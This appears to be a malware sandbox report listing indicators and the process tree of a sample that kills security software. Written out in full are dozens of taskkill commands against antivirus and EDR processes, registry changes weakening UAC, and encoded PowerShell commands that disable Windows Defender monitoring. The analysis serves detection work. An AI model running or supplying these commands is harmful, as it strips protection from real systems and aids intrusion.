Suspicious use of FindShellTrayWindow 8 IoCs

pid	Process
3304	firefox.exe
3304	firefox.exe
3304	firefox.exe
3304	firefox.exe
4988	program1.exe
3304	firefox.exe
7144	msedge.exe
7144	msedge.exe

Suspicious use of SendNotifyMessage 1 IoCs

pid	Process
4988	program1.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
4988	program1.exe
4988	program1.exe
4988	program1.exe
3304	firefox.exe
4988	program1.exe
4988	program1.exe
4988	program1.exe
4988	program1.exe
4988	program1.exe
6744	RegSvcs.exe
4988	program1.exe
4988	program1.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1728 wrote to memory of 4964	1728	888Cry55pto_18Layer_DefenderKill.exe	83
PID 4964 wrote to memory of 4236	4964	888Cry55pto_18Layer_DefenderKill.exe	88
PID 4236 wrote to memory of 4600	4236	cmd.exe	90
PID 4964 wrote to memory of 572	4964	888Cry55pto_18Layer_DefenderKill.exe	92
PID 572 wrote to memory of 3008	572	cmd.exe	94
PID 4964 wrote to memory of 1736	4964	888Cry55pto_18Layer_DefenderKill.exe	95
PID 1736 wrote to memory of 4636	1736	cmd.exe	97
PID 4964 wrote to memory of 2832	4964	888Cry55pto_18Layer_DefenderKill.exe	98
PID 2832 wrote to memory of 3624	2832	cmd.exe	100
PID 4964 wrote to memory of 1768	4964	888Cry55pto_18Layer_DefenderKill.exe	101
PID 1768 wrote to memory of 1448	1768	cmd.exe	103
PID 4964 wrote to memory of 4320	4964	888Cry55pto_18Layer_DefenderKill.exe	104
PID 4320 wrote to memory of 1716	4320	cmd.exe	106
PID 4964 wrote to memory of 4660	4964	888Cry55pto_18Layer_DefenderKill.exe	107
PID 4660 wrote to memory of 2664	4660	cmd.exe	109
PID 4964 wrote to memory of 2448	4964	888Cry55pto_18Layer_DefenderKill.exe	110
PID 2448 wrote to memory of 4276	2448	cmd.exe	112
PID 4964 wrote to memory of 3100	4964	888Cry55pto_18Layer_DefenderKill.exe	113
PID 3100 wrote to memory of 4124	3100	cmd.exe	115
PID 4964 wrote to memory of 1464	4964	888Cry55pto_18Layer_DefenderKill.exe	116
PID 1464 wrote to memory of 3560	1464	cmd.exe	118
PID 4964 wrote to memory of 328	4964	888Cry55pto_18Layer_DefenderKill.exe	119
PID 328 wrote to memory of 3500	328	cmd.exe	121
PID 4964 wrote to memory of 1320	4964	888Cry55pto_18Layer_DefenderKill.exe	122
PID 1320 wrote to memory of 5048	1320	cmd.exe	124
PID 4964 wrote to memory of 4748	4964	888Cry55pto_18Layer_DefenderKill.exe	125
PID 4748 wrote to memory of 1640	4748	cmd.exe	127
PID 4964 wrote to memory of 3816	4964	888Cry55pto_18Layer_DefenderKill.exe	128
PID 3816 wrote to memory of 3760	3816	cmd.exe	130
PID 4964 wrote to memory of 3636	4964	888Cry55pto_18Layer_DefenderKill.exe	132
PID 3636 wrote to memory of 2208	3636	cmd.exe	134
PID 4964 wrote to memory of 2236	4964	888Cry55pto_18Layer_DefenderKill.exe	135
PID 2236 wrote to memory of 1568	2236	cmd.exe	137
PID 4964 wrote to memory of 2100	4964	888Cry55pto_18Layer_DefenderKill.exe	138
PID 2100 wrote to memory of 4184	2100	cmd.exe	140
PID 4964 wrote to memory of 4012	4964	888Cry55pto_18Layer_DefenderKill.exe	141
PID 4012 wrote to memory of 3460	4012	cmd.exe	143
PID 4964 wrote to memory of 4600	4964	888Cry55pto_18Layer_DefenderKill.exe	144
PID 4600 wrote to memory of 1284	4600	cmd.exe	146
PID 4964 wrote to memory of 3996	4964	888Cry55pto_18Layer_DefenderKill.exe	147
PID 3996 wrote to memory of 4788	3996	cmd.exe	149
PID 4964 wrote to memory of 4636	4964	888Cry55pto_18Layer_DefenderKill.exe	150
PID 4636 wrote to memory of 2636	4636	cmd.exe	152
PID 4964 wrote to memory of 3496	4964	888Cry55pto_18Layer_DefenderKill.exe	153
PID 3496 wrote to memory of 5008	3496	cmd.exe	155
PID 4964 wrote to memory of 4156	4964	888Cry55pto_18Layer_DefenderKill.exe	156
PID 4156 wrote to memory of 408	4156	cmd.exe	158
PID 4964 wrote to memory of 3788	4964	888Cry55pto_18Layer_DefenderKill.exe	159
PID 3788 wrote to memory of 1288	3788	cmd.exe	161
PID 4964 wrote to memory of 2544	4964	888Cry55pto_18Layer_DefenderKill.exe	162
PID 2544 wrote to memory of 4276	2544	cmd.exe	164
PID 4964 wrote to memory of 1832	4964	888Cry55pto_18Layer_DefenderKill.exe	165
PID 1832 wrote to memory of 4772	1832	cmd.exe	167
PID 4964 wrote to memory of 224	4964	888Cry55pto_18Layer_DefenderKill.exe	168
PID 224 wrote to memory of 960	224	cmd.exe	170
PID 4964 wrote to memory of 3168	4964	888Cry55pto_18Layer_DefenderKill.exe	172
PID 3168 wrote to memory of 992	3168	cmd.exe	174
PID 4964 wrote to memory of 3524	4964	888Cry55pto_18Layer_DefenderKill.exe	175
PID 3524 wrote to memory of 4824	3524	cmd.exe	177
PID 4964 wrote to memory of 4796	4964	888Cry55pto_18Layer_DefenderKill.exe	178
PID 4796 wrote to memory of 2492	4796	cmd.exe	180
PID 4964 wrote to memory of 1328	4964	888Cry55pto_18Layer_DefenderKill.exe	181
PID 1328 wrote to memory of 2208	1328	cmd.exe	183
PID 4964 wrote to memory of 4152	4964	888Cry55pto_18Layer_DefenderKill.exe	184

System policy modification 1 TTPs 2 IoCs

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "1"	888Cry55pto_18Layer_DefenderKill.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	888Cry55pto_18Layer_DefenderKill.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\888Cry55pto_18Layer_DefenderKill.exe
"C:\Users\Admin\AppData\Local\Temp\888Cry55pto_18Layer_DefenderKill.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1728
- C:\Users\Admin\AppData\Local\Temp\888Cry55pto_18Layer_DefenderKill.exe
  "C:\Users\Admin\AppData\Local\Temp\888Cry55pto_18Layer_DefenderKill.exe"
  2⤵
  - Modifies Windows Defender DisableAntiSpyware settings
  - Modifies Windows Defender Real-time Protection settings
  - Modifies security service
  - UAC bypass
  - Checks computer location settings
  - Loads dropped DLL
  - Checks whether UAC is enabled
  - Modifies Security services
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:4964
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im avp.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4236
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im avp.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4600
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im kav.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:572
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im kav.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3008
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im kis.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1736
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im kis.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4636
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im kaspersky.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2832
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im kaspersky.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3624
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im drweb.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1768
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im drweb.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1448
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im dwengine.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4320
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im dwengine.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1716
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MBAMService.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4660
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MBAMService.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2664
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Malwarebytes.exe"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2448
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Malwarebytes.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4276
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MsMpEng.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3100
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MsMpEng.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4124
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im NisSrv.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1464
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im NisSrv.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3560
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im SecurityHealthService.exe"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:328
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im SecurityHealthService.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3500
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im avg.exe"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1320
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im avg.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:5048
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im avast.exe"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4748
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im avast.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1640
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im AvastSvc.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3816
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im AvastSvc.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3760
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Norton.exe"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3636
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Norton.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2208
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Symantec.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2236
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Symantec.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1568
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im McAfee.exe"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2100
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im McAfee.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4184
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Mcshield.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4012
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Mcshield.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3460
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Sophos.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4600
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Sophos.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1284
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Bitdefender.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3996
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Bitdefender.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4788
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im vsserv.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4636
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im vsserv.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2636
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im ESET.exe"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3496
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im ESET.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:5008
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im ekrn.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4156
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im ekrn.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:408
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im F-Secure.exe"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3788
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im F-Secure.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1288
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im GData.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2544
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im GData.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4276
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Panda.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1832
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Panda.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4772
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im TrendMicro.exe"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:224
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im TrendMicro.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:960
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im CrowdStrike.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3168
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im CrowdStrike.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:992
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im CSAgent.exe"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3524
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im CSAgent.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4824
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im SentinelOne.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4796
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im SentinelOne.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2492
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Cynet.exe"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1328
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Cynet.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2208
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im DeepInstinct.exe"
    3⤵
    - Executes a command shell one-liner
    PID:4152
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im DeepInstinct.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4120
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Elastic.exe"
    3⤵
    PID:2044
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Elastic.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4516
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Gridinsoft.exe"
    3⤵
    PID:4604
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Gridinsoft.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4624
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im SecureAge.exe"
    3⤵
    - Executes a command shell one-liner
    PID:3640
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im SecureAge.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1712
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Avira.exe"
    3⤵
    PID:1068
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Avira.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1244
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Zillya.exe"
    3⤵
    PID:3156
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Zillya.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4508
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MBAMService.exe"
    3⤵
    PID:3256
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MBAMService.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3276
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Malwarebytes.exe"
    3⤵
    PID:3796
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Malwarebytes.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5096
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MBAMTray.exe"
    3⤵
    - Executes a command shell one-liner
    PID:4952
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MBAMTray.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2068
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MBAMWsc.exe"
    3⤵
    PID:3356
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MBAMWsc.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:228
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MBAM.exe"
    3⤵
    PID:4772
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MBAM.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1028
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im mbam.exe"
    3⤵
    - Executes a command shell one-liner
    PID:216
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im mbam.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4496
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MBAMChameleon.exe"
    3⤵
    PID:2860
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MBAMChameleon.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3084
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABwAHIAbwBjAGUAcwBzAGUAcwAgAD0AIABAACgAIgBNAEIAQQBNAFMAZQByAHYAaQBjAGUAIgAsACAAIgBNAGEAbAB3AGEAcgBlAGIAeQB0AGUAcwAiACwAIAAiAE0AQgBBAE0AVAByAGEAeQAiACwAIAAiAE0AQgBBAE0AVwBzAGMAIgApAAoAZgBvAHIAZQBhAGMAaAAgACgAJABwACAAaQBuACAAJABwAHIAbwBjAGUAcwBzAGUAcwApACAAewAgAAoAIAAgACAAIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAE4AYQBtAGUAIAAkAHAAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIAB8ACAAUwB0AG8AcAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAgAAoAfQA="
    3⤵
    PID:1076
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABwAHIAbwBjAGUAcwBzAGUAcwAgAD0AIABAACgAIgBNAEIAQQBNAFMAZQByAHYAaQBjAGUAIgAsACAAIgBNAGEAbAB3AGEAcgBlAGIAeQB0AGUAcwAiACwAIAAiAE0AQgBBAE0AVAByAGEAeQAiACwAIAAiAE0AQgBBAE0AVwBzAGMAIgApAAoAZgBvAHIAZQBhAGMAaAAgACgAJABwACAAaQBuACAAJABwAHIAbwBjAGUAcwBzAGUAcwApACAAewAgAAoAIAAgACAAIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAE4AYQBtAGUAIAAkAHAAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIAB8ACAAUwB0AG8AcAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAgAAoAfQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:712
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MsMpEng.exe"
    3⤵
    - Executes a command shell one-liner
    PID:4140
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MsMpEng.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3608
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im NisSrv.exe"
    3⤵
    PID:1048
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im NisSrv.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4532
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im SecurityHealthService.exe"
    3⤵
    - Executes a command shell one-liner
    PID:5000
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im SecurityHealthService.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4028
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MpCmdRun.exe"
    3⤵
    - Executes a command shell one-liner
    PID:1284
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MpCmdRun.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2908
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MSASCui.exe"
    3⤵
    - Executes a command shell one-liner
    PID:544
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MSASCui.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3440
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MSASvc.exe"
    3⤵
    PID:2168
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MSASvc.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3276
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQAgAC0ARgBvAHIAYwBlAA=="
    3⤵
    PID:2404
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQAgAC0ARgBvAHIAYwBlAA==
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4664
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQAgAC0ARgBvAHIAYwBlAA=="
    3⤵
    PID:3856
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQAgAC0ARgBvAHIAYwBlAA==
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:220
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGwAbwBjAGsAQQB0AEYAaQByAHMAdABTAGUAZQBuACAAJAB0AHIAdQBlACAALQBGAG8AcgBjAGUA"
    3⤵
    - Executes a command shell one-liner
    PID:4148
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGwAbwBjAGsAQQB0AEYAaQByAHMAdABTAGUAZQBuACAAJAB0AHIAdQBlACAALQBGAG8AcgBjAGUA
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3304
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBJAE8AQQBWAFAAcgBvAHQAZQBjAHQAaQBvAG4AIAAkAHQAcgB1AGUAIAAtAEYAbwByAGMAZQA="
    3⤵
    PID:3384
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBJAE8AQQBWAFAAcgBvAHQAZQBjAHQAaQBvAG4AIAAkAHQAcgB1AGUAIAAtAEYAbwByAGMAZQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4340
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBQAHIAaQB2AGEAYwB5AE0AbwBkAGUAIAAkAHQAcgB1AGUAIAAtAEYAbwByAGMAZQA="
    3⤵
    PID:4564
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
